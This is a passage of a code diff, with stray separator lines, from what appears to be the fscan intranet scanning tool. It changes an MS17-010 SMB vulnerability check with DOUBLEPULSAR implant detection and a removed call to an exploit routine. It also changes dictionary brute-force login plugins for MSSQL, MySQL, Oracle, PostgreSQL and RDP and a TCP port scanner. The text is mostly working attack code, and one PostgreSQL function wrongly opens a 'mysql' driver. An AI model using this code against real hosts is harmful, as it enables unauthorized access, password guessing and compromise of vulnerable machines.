if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
n, err := conn.Read(reply)
|
n, err := conn.Read(reply)
|
||||||
if err != nil || n < 36 {
|
if err != nil || n < 36 {
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||||
// status != 0
|
// status != 0
|
||||||
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
|
//fmt.Printf("can't determine whether %s is vulnerable or not\n", ip)
|
||||||
var Err = errors.New("can't determine whether target is vulnerable or not")
|
return
|
||||||
return Err
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// extract OS info
|
// extract OS info
|
||||||
@@ -86,13 +72,13 @@ func MS17010Scan(info *common.HostInfo) error {
|
|||||||
// find byte count
|
// find byte count
|
||||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||||
if n != int(byteCount)+45 {
|
if n != int(byteCount)+45 {
|
||||||
fmt.Println("[-]", ip+":445", "ms17010 invalid session setup AndX response")
|
fmt.Println("invalid session setup AndX response")
|
||||||
} else {
|
} else {
|
||||||
// two continous null bytes indicates end of a unicode string
|
// two continous null bytes indicates end of a unicode string
|
||||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||||
os = string(sessionSetupResponse[10:i])
|
os = string(sessionSetupResponse[10:i])
|
||||||
os = strings.Replace(os, string([]byte{0x00}), "", -1)
|
os = strings.Replace(os, string([]byte{0x00}), "",-1)
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -103,12 +89,10 @@ func MS17010Scan(info *common.HostInfo) error {
|
|||||||
treeConnectRequest[32] = userID[0]
|
treeConnectRequest[32] = userID[0]
|
||||||
treeConnectRequest[33] = userID[1]
|
treeConnectRequest[33] = userID[1]
|
||||||
// TODO change the ip in tree path though it doesn't matter
|
// TODO change the ip in tree path though it doesn't matter
|
||||||
_, err = conn.Write(treeConnectRequest)
|
conn.Write(treeConnectRequest)
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
treeID := reply[28:30]
|
treeID := reply[28:30]
|
||||||
@@ -117,48 +101,39 @@ func MS17010Scan(info *common.HostInfo) error {
|
|||||||
transNamedPipeRequest[32] = userID[0]
|
transNamedPipeRequest[32] = userID[0]
|
||||||
transNamedPipeRequest[33] = userID[1]
|
transNamedPipeRequest[33] = userID[1]
|
||||||
|
|
||||||
_, err = conn.Write(transNamedPipeRequest)
|
conn.Write(transNamedPipeRequest)
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||||
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
//fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||||
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
//if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os)
|
||||||
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
|
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
|
||||||
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
|
result := fmt.Sprintf("%s\tMS17-010\t(%s)", ip, os)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
defer func() {
|
|
||||||
if common.SC != "" {
|
|
||||||
MS17010EXP(info)
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
// detect present of DOUBLEPULSAR SMB implant
|
// detect present of DOUBLEPULSAR SMB implant
|
||||||
trans2SessionSetupRequest[28] = treeID[0]
|
trans2SessionSetupRequest[28] = treeID[0]
|
||||||
trans2SessionSetupRequest[29] = treeID[1]
|
trans2SessionSetupRequest[29] = treeID[1]
|
||||||
trans2SessionSetupRequest[32] = userID[0]
|
trans2SessionSetupRequest[32] = userID[0]
|
||||||
trans2SessionSetupRequest[33] = userID[1]
|
trans2SessionSetupRequest[33] = userID[1]
|
||||||
|
|
||||||
_, err = conn.Write(trans2SessionSetupRequest)
|
conn.Write(trans2SessionSetupRequest)
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if reply[34] == 0x51 {
|
if reply[34] == 0x51 {
|
||||||
result := fmt.Sprintf("[+] %s has DOUBLEPULSAR SMB IMPLANT", ip)
|
//fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip)
|
||||||
|
result := fmt.Sprintf("DOUBLEPULSAR SMB IMPLANT in %s", ip)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
}
|
}
|
||||||
|
|
||||||
} else {
|
} else {
|
||||||
result := fmt.Sprintf("[*] %s (%s)", ip, os)
|
result := fmt.Sprintf("%s\t \t(%s)\n", ip, os)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
}
|
}
|
||||||
return err
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
+22
-31
@@ -1,57 +1,48 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"fmt"
|
"fmt"
|
||||||
_ "github.com/denisenkom/go-mssqldb"
|
_ "github.com/denisenkom/go-mssqldb"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func MssqlScan(info *common.HostInfo) (tmperr error) {
|
|
||||||
if common.IsBrute {
|
|
||||||
return
|
|
||||||
}
|
func MssqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
starttime := time.Now().Unix()
|
Loop:
|
||||||
for _, user := range common.Userdict["mssql"] {
|
for _,user:=range common.Userdict["mssql"]{
|
||||||
for _, pass := range common.Passwords {
|
for _,pass:=range common.Passwords{
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||||
flag, err := MssqlConn(info, user, pass)
|
flag,err := MssqlConn(info,user,pass,ch,wg)
|
||||||
if flag == true && err == nil {
|
if flag==true && err==nil {
|
||||||
return err
|
break Loop
|
||||||
} else {
|
|
||||||
errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
|
||||||
common.LogError(errlog)
|
|
||||||
tmperr = err
|
|
||||||
if common.CheckErrs(err) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * common.Timeout) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
wg.Done()
|
||||||
|
<- ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func MssqlConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||||
flag = false
|
flag = false
|
||||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
Host,Port,Username,Password := info.Host, common.PORTList["mssql"],user, pass
|
||||||
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second)
|
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%d;encrypt=disable;timeout=%d", Host,Username,Password,Port,time.Duration(info.Timeout)*time.Second)
|
||||||
db, err := sql.Open("mssql", dataSourceName)
|
db, err := sql.Open("mssql", dataSourceName)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
|
||||||
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
|
|
||||||
db.SetMaxIdleConns(0)
|
|
||||||
defer db.Close()
|
defer db.Close()
|
||||||
err = db.Ping()
|
err = db.Ping()
|
||||||
if err == nil {
|
if err == nil {
|
||||||
result := fmt.Sprintf("[+] mssql:%v:%v:%v %v", Host, Port, Username, Password)
|
result := fmt.Sprintf("mssql:%v:%v:%v %v",Host,Port,Username,Password)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return flag, err
|
return flag,err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+21
-32
@@ -1,57 +1,46 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"fmt"
|
"fmt"
|
||||||
_ "github.com/go-sql-driver/mysql"
|
_ "github.com/go-sql-driver/mysql"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func MysqlScan(info *common.HostInfo) (tmperr error) {
|
|
||||||
if common.IsBrute {
|
|
||||||
return
|
func MysqlScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
}
|
Loop:
|
||||||
starttime := time.Now().Unix()
|
for _,user:=range common.Userdict["mysql"]{
|
||||||
for _, user := range common.Userdict["mysql"] {
|
for _,pass:=range common.Passwords{
|
||||||
for _, pass := range common.Passwords {
|
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
flag,err := MysqlConn(info,user,pass,ch,wg)
|
||||||
flag, err := MysqlConn(info, user, pass)
|
if flag==true && err==nil {
|
||||||
if flag == true && err == nil {
|
break Loop
|
||||||
return err
|
|
||||||
} else {
|
|
||||||
errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
|
||||||
common.LogError(errlog)
|
|
||||||
tmperr = err
|
|
||||||
if common.CheckErrs(err) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * common.Timeout) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
wg.Done()
|
||||||
|
<- ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func MysqlConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||||
flag = false
|
flag = false
|
||||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
Host,Port,Username,Password := info.Host, common.PORTList["mysql"],user, pass
|
||||||
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second)
|
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/%v?charset=utf8", Username, Password, Host,Port, "mysql")
|
||||||
db, err := sql.Open("mysql", dataSourceName)
|
db, err := sql.Open("mysql", dataSourceName)
|
||||||
|
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
|
||||||
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
|
|
||||||
db.SetMaxIdleConns(0)
|
|
||||||
defer db.Close()
|
defer db.Close()
|
||||||
err = db.Ping()
|
err = db.Ping()
|
||||||
if err == nil {
|
if err == nil {
|
||||||
result := fmt.Sprintf("[+] mysql:%v:%v:%v %v", Host, Port, Username, Password)
|
result := fmt.Sprintf("mysql:%v:%v:%v %v",Host,Port,Username,Password)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return flag, err
|
return flag,err
|
||||||
}
|
}
|
||||||
@@ -1,57 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"database/sql"
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
_ "github.com/sijms/go-ora/v2"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
func OracleScan(info *common.HostInfo) (tmperr error) {
|
|
||||||
if common.IsBrute {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
starttime := time.Now().Unix()
|
|
||||||
for _, user := range common.Userdict["oracle"] {
|
|
||||||
for _, pass := range common.Passwords {
|
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
|
||||||
flag, err := OracleConn(info, user, pass)
|
|
||||||
if flag == true && err == nil {
|
|
||||||
return err
|
|
||||||
} else {
|
|
||||||
errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
|
||||||
common.LogError(errlog)
|
|
||||||
tmperr = err
|
|
||||||
if common.CheckErrs(err) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * common.Timeout) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return tmperr
|
|
||||||
}
|
|
||||||
|
|
||||||
func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
|
||||||
flag = false
|
|
||||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
|
||||||
dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port)
|
|
||||||
db, err := sql.Open("oracle", dataSourceName)
|
|
||||||
if err == nil {
|
|
||||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
|
||||||
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
|
|
||||||
db.SetMaxIdleConns(0)
|
|
||||||
defer db.Close()
|
|
||||||
err = db.Ping()
|
|
||||||
if err == nil {
|
|
||||||
result := fmt.Sprintf("[+] oracle:%v:%v:%v %v", Host, Port, Username, Password)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
flag = true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return flag, err
|
|
||||||
}
|
|
||||||
+124
-95
@@ -2,117 +2,146 @@ package Plugins
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"net"
|
||||||
"sort"
|
"sort"
|
||||||
"strconv"
|
"strconv"
|
||||||
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
"../common"
|
||||||
)
|
)
|
||||||
|
|
||||||
type Addr struct {
|
func ParsePort(ports string) []int {
|
||||||
ip string
|
var scanPorts []int
|
||||||
port int
|
slices := strings.Split(ports, ",")
|
||||||
|
for _, port := range slices {
|
||||||
|
port = strings.Trim(port, " ")
|
||||||
|
upper := port
|
||||||
|
if strings.Contains(port, "-") {
|
||||||
|
ranges := strings.Split(port, "-")
|
||||||
|
if len(ranges) < 2 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
sort.Strings(ranges)
|
||||||
|
port = ranges[0]
|
||||||
|
upper = ranges[1]
|
||||||
|
}
|
||||||
|
start, _ := strconv.Atoi(port)
|
||||||
|
end, _ := strconv.Atoi(upper)
|
||||||
|
for i := start; i <= end; i++ {
|
||||||
|
scanPorts = append(scanPorts, i)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return scanPorts
|
||||||
}
|
}
|
||||||
|
|
||||||
func PortScan(hostslist []string, ports string, timeout int64) []string {
|
func ProbeHosts(host string, ports <-chan int, respondingHosts chan<- string, done chan<- bool, model string, adjustedTimeout int) {
|
||||||
var AliveAddress []string
|
Timeout := time.Duration(adjustedTimeout) * time.Second
|
||||||
probePorts := common.ParsePort(ports)
|
for port := range ports{
|
||||||
noPorts := common.ParsePort(common.NoPorts)
|
start := time.Now()
|
||||||
if len(noPorts) > 0 {
|
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%d", host, port), time.Duration(adjustedTimeout) * time.Second)
|
||||||
temp := map[int]struct{}{}
|
duration := time.Now().Sub(start)
|
||||||
for _, port := range probePorts {
|
if err == nil {
|
||||||
temp[port] = struct{}{}
|
defer con.Close()
|
||||||
|
address := host + ":" + strconv.Itoa(port)
|
||||||
|
result := fmt.Sprintf("%s open",address)
|
||||||
|
common.LogSuccess(result)
|
||||||
|
respondingHosts <- address
|
||||||
}
|
}
|
||||||
|
if duration < Timeout {
|
||||||
for _, port := range noPorts {
|
difference := Timeout - duration
|
||||||
delete(temp, port)
|
Timeout = Timeout - (difference / 2)
|
||||||
}
|
}
|
||||||
|
|
||||||
var newDatas []int
|
|
||||||
for port, _ := range temp {
|
|
||||||
newDatas = append(newDatas, port)
|
|
||||||
}
|
|
||||||
probePorts = newDatas
|
|
||||||
sort.Ints(probePorts)
|
|
||||||
}
|
}
|
||||||
workers := common.Threads
|
done <- true
|
||||||
Addrs := make(chan Addr, len(hostslist)*len(probePorts))
|
}
|
||||||
results := make(chan string, len(hostslist)*len(probePorts))
|
|
||||||
var wg sync.WaitGroup
|
|
||||||
|
|
||||||
//接收结果
|
func ScanAllports(address string, probePorts []int, threads int, timeout time.Duration, model string, adjustedTimeout int) ([]string, error) {
|
||||||
|
ports := make(chan int, 20)
|
||||||
|
results := make(chan string, 10)
|
||||||
|
done := make(chan bool, threads)
|
||||||
|
|
||||||
|
for worker := 0; worker < threads; worker++ {
|
||||||
|
go ProbeHosts(address, ports, results, done, model, adjustedTimeout)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _,port := range probePorts{
|
||||||
|
ports <- port
|
||||||
|
}
|
||||||
|
close(ports)
|
||||||
|
|
||||||
|
var responses = []string{}
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case found := <-results:
|
||||||
|
responses = append(responses, found)
|
||||||
|
case <-done:
|
||||||
|
threads--
|
||||||
|
if threads == 0 {
|
||||||
|
return responses, nil
|
||||||
|
}
|
||||||
|
case <-time.After(timeout):
|
||||||
|
return responses, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TCPportScan(hostslist []string,ports string,model string,timeout int) ([]string,[]string){
|
||||||
|
var AliveAddress []string
|
||||||
|
var aliveHosts []string
|
||||||
|
probePorts := ParsePort(ports)
|
||||||
|
lm := 20
|
||||||
|
if (len(hostslist)>5 && len(hostslist)<=50) {
|
||||||
|
lm = 40
|
||||||
|
}else if(len(hostslist)>50 && len(hostslist)<=100){
|
||||||
|
lm = 50
|
||||||
|
}else if(len(hostslist)>100 && len(hostslist)<=150){
|
||||||
|
lm = 60
|
||||||
|
}else if(len(hostslist)>150 && len(hostslist)<=200){
|
||||||
|
lm = 70
|
||||||
|
}else if(len(hostslist)>200){
|
||||||
|
lm = 75
|
||||||
|
}
|
||||||
|
|
||||||
|
thread := 5
|
||||||
|
if (len(probePorts)>500 && len(probePorts)<=4000) {
|
||||||
|
thread = len(probePorts)/100
|
||||||
|
}else if (len(probePorts)>4000 && len(probePorts)<=6000) {
|
||||||
|
thread = len(probePorts)/200
|
||||||
|
}else if (len(probePorts)>6000 && len(probePorts)<=10000) {
|
||||||
|
thread = len(probePorts)/350
|
||||||
|
}else if (len(probePorts)>10000 && len(probePorts)<50000){
|
||||||
|
thread = len(probePorts)/400
|
||||||
|
}else if (len(probePorts)>=50000 && len(probePorts)<=65535){
|
||||||
|
thread = len(probePorts)/500
|
||||||
|
}
|
||||||
|
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
mutex := &sync.Mutex{}
|
||||||
|
limiter := make(chan struct{}, lm)
|
||||||
|
aliveHost := make(chan string, lm/2)
|
||||||
go func() {
|
go func() {
|
||||||
for found := range results {
|
for s := range aliveHost {
|
||||||
AliveAddress = append(AliveAddress, found)
|
fmt.Println(s)
|
||||||
wg.Done()
|
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
for _,host :=range hostslist{
|
||||||
//多线程扫描
|
wg.Add(1)
|
||||||
for i := 0; i < workers; i++ {
|
limiter <- struct{}{}
|
||||||
go func() {
|
go func(host string) {
|
||||||
for addr := range Addrs {
|
defer wg.Done()
|
||||||
PortConnect(addr, results, timeout, &wg)
|
if aliveAdd, err := ScanAllports(host, probePorts,thread, 5*time.Second,model,timeout);err == nil && len(aliveAdd)>0{
|
||||||
wg.Done()
|
mutex.Lock()
|
||||||
|
aliveHosts = append(aliveHosts,host)
|
||||||
|
for _,addr :=range aliveAdd{
|
||||||
|
AliveAddress = append(AliveAddress,addr)
|
||||||
|
}
|
||||||
|
mutex.Unlock()
|
||||||
}
|
}
|
||||||
}()
|
<-limiter
|
||||||
}
|
}(host)
|
||||||
|
|
||||||
//添加扫描目标
|
|
||||||
for _, port := range probePorts {
|
|
||||||
for _, host := range hostslist {
|
|
||||||
wg.Add(1)
|
|
||||||
Addrs <- Addr{host, port}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
wg.Wait()
|
wg.Wait()
|
||||||
close(Addrs)
|
close(aliveHost)
|
||||||
close(results)
|
return aliveHosts,AliveAddress
|
||||||
return AliveAddress
|
|
||||||
}
|
|
||||||
|
|
||||||
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
|
|
||||||
host, port := addr.ip, addr.port
|
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
|
|
||||||
defer func() {
|
|
||||||
if conn != nil {
|
|
||||||
conn.Close()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
if err == nil {
|
|
||||||
address := host + ":" + strconv.Itoa(port)
|
|
||||||
result := fmt.Sprintf("%s open", address)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
wg.Add(1)
|
|
||||||
respondingHosts <- address
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func NoPortScan(hostslist []string, ports string) (AliveAddress []string) {
|
|
||||||
probePorts := common.ParsePort(ports)
|
|
||||||
noPorts := common.ParsePort(common.NoPorts)
|
|
||||||
if len(noPorts) > 0 {
|
|
||||||
temp := map[int]struct{}{}
|
|
||||||
for _, port := range probePorts {
|
|
||||||
temp[port] = struct{}{}
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, port := range noPorts {
|
|
||||||
delete(temp, port)
|
|
||||||
}
|
|
||||||
|
|
||||||
var newDatas []int
|
|
||||||
for port, _ := range temp {
|
|
||||||
newDatas = append(newDatas, port)
|
|
||||||
}
|
|
||||||
probePorts = newDatas
|
|
||||||
sort.Ints(probePorts)
|
|
||||||
}
|
|
||||||
for _, port := range probePorts {
|
|
||||||
for _, host := range hostslist {
|
|
||||||
address := host + ":" + strconv.Itoa(port)
|
|
||||||
AliveAddress = append(AliveAddress, address)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
}
|
||||||
|
|||||||
+20
-29
@@ -1,55 +1,46 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"fmt"
|
"fmt"
|
||||||
_ "github.com/lib/pq"
|
_ "github.com/lib/pq"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func PostgresScan(info *common.HostInfo) (tmperr error) {
|
func PostgresScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
if common.IsBrute {
|
Loop:
|
||||||
return
|
for _,user:=range common.Userdict["postgresql"]{
|
||||||
}
|
for _,pass:=range common.Passwords{
|
||||||
starttime := time.Now().Unix()
|
|
||||||
for _, user := range common.Userdict["postgresql"] {
|
|
||||||
for _, pass := range common.Passwords {
|
|
||||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||||
flag, err := PostgresConn(info, user, pass)
|
flag,err := PostgresConn(info,user,pass,ch,wg)
|
||||||
if flag == true && err == nil {
|
if flag==true && err==nil {
|
||||||
return err
|
break Loop
|
||||||
} else {
|
|
||||||
errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
|
||||||
common.LogError(errlog)
|
|
||||||
tmperr = err
|
|
||||||
if common.CheckErrs(err) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * common.Timeout) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
wg.Done()
|
||||||
|
<- ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func PostgresConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||||
flag = false
|
flag = false
|
||||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
Host,Port,Username,Password := info.Host, common.PORTList["psql"],user, pass
|
||||||
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
|
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host,Port, "postgres", "disable")
|
||||||
db, err := sql.Open("postgres", dataSourceName)
|
db, err := sql.Open("mysql", dataSourceName)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
db.SetConnMaxLifetime(time.Duration(info.Timeout)*time.Second)
|
||||||
defer db.Close()
|
defer db.Close()
|
||||||
err = db.Ping()
|
err = db.Ping()
|
||||||
if err == nil {
|
if err == nil {
|
||||||
result := fmt.Sprintf("[+] Postgres:%v:%v:%v %v", Host, Port, Username, Password)
|
result := fmt.Sprintf("Postgres:%v:%v:%v %v",Host,Port,Username,Password)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return flag, err
|
return flag,err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
-197
@@ -1,197 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"github.com/tomatome/grdp/core"
|
|
||||||
"github.com/tomatome/grdp/glog"
|
|
||||||
"github.com/tomatome/grdp/protocol/nla"
|
|
||||||
"github.com/tomatome/grdp/protocol/pdu"
|
|
||||||
"github.com/tomatome/grdp/protocol/rfb"
|
|
||||||
"github.com/tomatome/grdp/protocol/sec"
|
|
||||||
"github.com/tomatome/grdp/protocol/t125"
|
|
||||||
"github.com/tomatome/grdp/protocol/tpkt"
|
|
||||||
"github.com/tomatome/grdp/protocol/x224"
|
|
||||||
"log"
|
|
||||||
"os"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
type Brutelist struct {
|
|
||||||
user string
|
|
||||||
pass string
|
|
||||||
}
|
|
||||||
|
|
||||||
func RdpScan(info *common.HostInfo) (tmperr error) {
|
|
||||||
if common.IsBrute {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
var wg sync.WaitGroup
|
|
||||||
var signal bool
|
|
||||||
var num = 0
|
|
||||||
var all = len(common.Userdict["rdp"]) * len(common.Passwords)
|
|
||||||
var mutex sync.Mutex
|
|
||||||
brlist := make(chan Brutelist, all)
|
|
||||||
port, _ := strconv.Atoi(info.Ports)
|
|
||||||
|
|
||||||
for _, user := range common.Userdict["rdp"] {
|
|
||||||
for _, pass := range common.Passwords {
|
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
|
||||||
